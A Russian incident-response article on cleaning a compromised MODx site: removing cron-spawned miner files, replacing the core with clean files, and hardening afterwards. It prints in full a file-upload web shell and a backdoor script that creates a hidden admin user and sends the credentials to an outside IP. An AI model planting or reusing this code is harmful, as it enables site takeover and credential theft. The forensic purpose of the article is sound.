Статья Зараженный MODx и его лечение

Всем добрый вечер!

В предыдущей статье я попытался описать общие шаги при заражении сайта. В комментариях пообещал рассмотреть какой-либо конкретный случай. И вот, он мне представился. Конечно, жаль, что это не всеми так любимый Wordpress, но данный вид заражения там я тоже встречал, а процесс лечения в общих чертах совпадает. Приступим.

Заходим на хостинг, всюду видим страшные предупреждения:

1.png


Подключимся через ssh и будем смотреть.

Сразу нас встречает множество файлов stylewpp.php:

2.png


Вообще их было около 4000, это я уже успел поудалять =)

По своему опыту знаю, что эти файлы создаются через планировщик, поэтому идем туда через панель. Если нет доступа к панели управления, то используем команду:

crontab -l

Видим задание на ежеминутное копирование stylewpp с нашего же сайта:

3.png


Содержимое файла:

4.png


Код обфусцирован и довольно сильно, с первого раза не расшифровать, но по созданным stylewpp и анализу последствий - делаем вывод, что наш сайт (да и сервер), используется в целях майнинга.

Посмотрим содержимое корневой директории:

5.png


По структуре похоже, что сайт скорее всего на MODx, также невооруженным глазом видим и множество того, что скорее всего к нему не относится.

Рассмотрим содержимое некоторых:

PHP:
hahahahhahahahah<?php if($_GET["login"]=="canshu"){if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>GOOD</b><br>'; } echo '<form action="" method="post" enctype="multipart/form-data"><input type="file" name="file" size="50"><input type="submit" value="submit"/></form>';} ?>

- форма, позволяющая грузить все, что душе угодно;

PHP:
<?php
$username = "xdom"; //логин
$password = ""; //пароль
$email = "blablablu@gmail.com"; //почта

$act = 0; //0 - создание пользователя, 1 - разблокировка пользователя

function generateRandomString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}


function gen_salt()
{
  $chars = str_shuffle("qazxswedcvfrtgbnhyujmkiolp1234567890QAZXSWEDCVFRTGBNHYUJMKIOLP");
  $max = 35;
  $size = strlen($chars) - 1;
  $str1 = null;
  while($max--) { $str1 .= $chars[mt_rand(0, $size)]; }
 
  return md5($str1);
}

function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false)
{
    if (!in_array(strtolower($algo), hash_algos())) trigger_error(__FUNCTION__ . '(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING);
    if (!is_numeric($count)) trigger_error(__FUNCTION__ . '(): expects parameter 4 to be long, ' . gettype($count) . ' given', E_USER_WARNING);
    if (!is_numeric($length)) trigger_error(__FUNCTION__ . '(): expects parameter 5 to be long, ' . gettype($length) . ' given', E_USER_WARNING);
    if ($count <= 0) trigger_error(__FUNCTION__ . '(): Iterations must be a positive integer: ' . $count, E_USER_WARNING);
    if ($length < 0) trigger_error(__FUNCTION__ . '(): Length must be greater than or equal to 0: ' . $length, E_USER_WARNING);

    $output = '';
    $block_count = $length ? ceil($length / strlen(hash($algo, '', $raw_output))) : 1;
    for ($i = 1; $i <= $block_count; $i++)
    {
        $last = $xorsum = hash_hmac($algo, $salt . pack('N', $i), $password, true);
        for ($j = 1; $j < $count; $j++)
        {
            $xorsum ^= ($last = hash_hmac($algo, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if (!$raw_output) $output = bin2hex($output);
    return $length ? substr($output, 0, $length) : $output;
}

function hash_pass($password, $salt)
{

  return base64_encode(hash_pbkdf2("sha256", $password, $salt, 1000, 32, TRUE));

}

if (file_exists("core/config/config.inc.php"))
{
  require_once("core/config/config.inc.php");
  $mysqli = new mysqli($database_server, $database_user, $database_password, $dbase);
  if ($mysqli->connect_errno)
  {
    die("Error connect MySQL: (".$mysqli -> connect_errno.")".$mysqli -> connect_error.")");
  }
  else
  {
    if ($act == 0)
    {   
      $password = generateRandomString();
      $password_salt = gen_salt();
      $password_full = hash_pass($password, $password_salt);
    
      $check_user_query = $mysqli->query("SELECT id FROM ".$table_prefix."users WHERE username = '{$username}'");
      $check_user = $check_user_query->num_rows;
      if ($check_user == 0)
      {
        $mysqli->query("INSERT INTO ".$table_prefix."users (username, password, cachepwd, class_key, active, hash_class, salt, session_stale) VALUES ('{$username}', '{$password_full}', '', 'modUser', 1, 'hashing.modPBKDF2', '{$password_salt}', NULL)");
        $user_id = $mysqli->insert_id;
        if ($user_id > 0)
        {
          $mysqli->query("INSERT INTO ".$table_prefix."user_attributes (internalKey, fullname, email, phone, mobilephone, blocked, blockeduntil, blockedafter, logincount, lastlogin, thislogin, failedlogincount, sessionid, dob, gender, address, country, city, state, zip, fax, photo, comment, website, extended) VALUES ('{$user_id}', '', '{$email}', '', '', 0, 0, 0, 0, 0, 0, 0, '', 0, 0, '', '', '', '', '', '', '', '', '', NULL)");
          $mysqli->query("INSERT INTO ".$table_prefix."member_groups (user_group, member, role, rank) VALUES (1, '$user_id', 2, 0)");
          echo "User - '<font color=\"red\">{$username}</font>' password - '<font color=\"red\">{$password}</font>' add in DB '<font color=\"red\">{$dbase}</font>'!";
                    
          $check_user_query = $mysqli->query("SELECT id FROM ".$table_prefix."users WHERE username = '{$username}'");
          $check_user = $check_user_query->num_rows;
          $user_id = $check_user_query->fetch_array();
          if ($check_user > 0)
          {
            $mysqli->query("UPDATE ".$table_prefix."user_attributes SET blocked = '0', blockeduntil = '0', blockedafter = '0' WHERE internalKey='".$user_id['id']."'");
            file_get_contents("http://134.249.116.78/check-update/check.php?p3=".$_SERVER['HTTP_HOST']."/manager/index.php@".$username."@".$password);
            echo "User '<font color=\"red\">{$username}</font>' unblock!";   
          }         
        
        }
        else
        {
          die("Error add user '".$table_prefix."users'!");
        }
      }
      else
      {
        die("User '<font color=\"red\">{$username}</font>' exists in DB!");
      }
    }

  }
}
else
{
  die("Config not exists!");
}
?>

- это интереснее, с помощью данного скрипта можно создать своего пользователя.

В остальном - всякое по мелочи, от загрузчиков, до скриптов для рассылки спама.

Будем чистить и вариантов у нас несколько:

1.) Убирать все вручную или какими-нибудь автоматизированными средствами (про них напишу отдельно в следующий раз);
2.) Что-то убрать руками, ядро заменить оригинальными файлами CMS;

В данном случае я выбираю 2-й вариант, так как, это минимизирует шанс на то, что что-то останется после лечения. Почему? Из опыта и вида заражения. Как минимум, присутствуют файлы с нулевыми правами, названием, начинающимся с точки. Автоматизированные средства такое не увидят, из корневой директории удалим, но может быть зарыто и глубже. Можно искать такие файлы через ssh (первая команда ищет файлы с нулевыми правами, вторая скрытые файлы):

find ./ -perm 000

find ./ -type f -name ".*"

Но зачем, если можно поступить гораздо проще?

Прежде всего нужно узнать версию MODx. Для этого пробуем пробиться в админку, временно (или навсегда =) меняя пароль какого-либо юзера с правами админа на свой:

Код:
UPDATE modx_users SET hash_class = 'hashing.modMD5', password = MD5('the-new-password') WHERE username = 'theusername';

Я это делал через mysql, более подробно написано на сайте MODx . Есть и другие способы узнать версию MODx, например через phpmyadmin, но в данном случае мне удобнее так.

8.png


Имеем MODX Revolution 2.4.3-pl, смотрим на официальный сайт MODx в разделе " ": Released Feb 11, 2016 with 33,603 downloads

Сайт сильно запустили. О необходимости обновления нужно обязательно написать в отчете (и в случае повторного заражения уже будет виноват сам клиент, так как неактуальная версия CMS, тем более на столько - является основанием для снятии с гарантии).

Забираем "Traditional"-версию с полным пакетом для установки. Версия "Advanced" служит для обновления и не совсем подходит для полного восстановления ядра:

9.png


Удаляем задание на создание stylewpp из cron, используем команду для редактирования файла заданий:

crontab -e

или удаляем из планировщика все:

crontab -r

Теперь удаляем все созданные планировщиком stylewpp (любым способом, через ssh, ftp или панель управления).

Обязательно делаем бекап!

Подключаемся через FTP, и убираем из корневой директории все, кроме пользовательских папок. Далее (действует только для MODx):

1.) Закидываем папки core, manager, connectors, setup и файлы index.php, ht.access из скачанного оригинального архива MODx;
2.) Закидываем config.inc.php в core/config/;
3.) Берем из нашего бекапа папку core/components/ и закидываем обратно на сайт;
4.) Берем из бекапа все архивы с пакетами из папки core/packages/, закидываем на сервер;
5.) Переходим по адресу: http://нашсайт.ру/setup. Выбираем "Обновление существующей установки" и ждем;
6.) Если все ок, то получаем сообщение о успешном завершении обновления;

10.png


7.) Желательно зайти в панели администрирования в менеджер пакетов и переустановить каждый из них;
8.) В панели очищаем кэш и выполняем перегенерацию URL через меню "Управление".

Готово, ядро полностью восстановлено, сайт работает (если это не так - смотрим error_log, гуглим ошибки, исправляем), осталось совсем немного, а именно - осмотреть пользовательские папки и папки с дополнениями на наличие вредоносных файлов. В данном случае это можно сделать вручную, их не так много.

После:

1.) Смена паролей всех пользователей;
2.) Смена пароля БД;
3.) В корневой и папке core переименовываем ht.access на .htaccess;
4.) Устанавливаем причину заражения. Несложно догадаться, что скорее всего проэксплуатировали устаревший MODx, который содержит кучу CVE. Ну например вот эту . Но произошло это уже давно, поэтому определить 100% не получится, так как логи, увы, так долго не хранятся;
5.) Делаем резервную копию очищенных файлов (на тот случай, если поломают до того, как клиент успеет обновить CMS);
6.) Запускаем антивирус на хостинге (если таковой имеется) для того, чтобы хостер мог снять санкции или пишем письмо в тех.поддержку с просьбой об этом;
7.) Пишем отчет клиенту || если делаем для себя - обязательно обновляемся.

To be continued.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!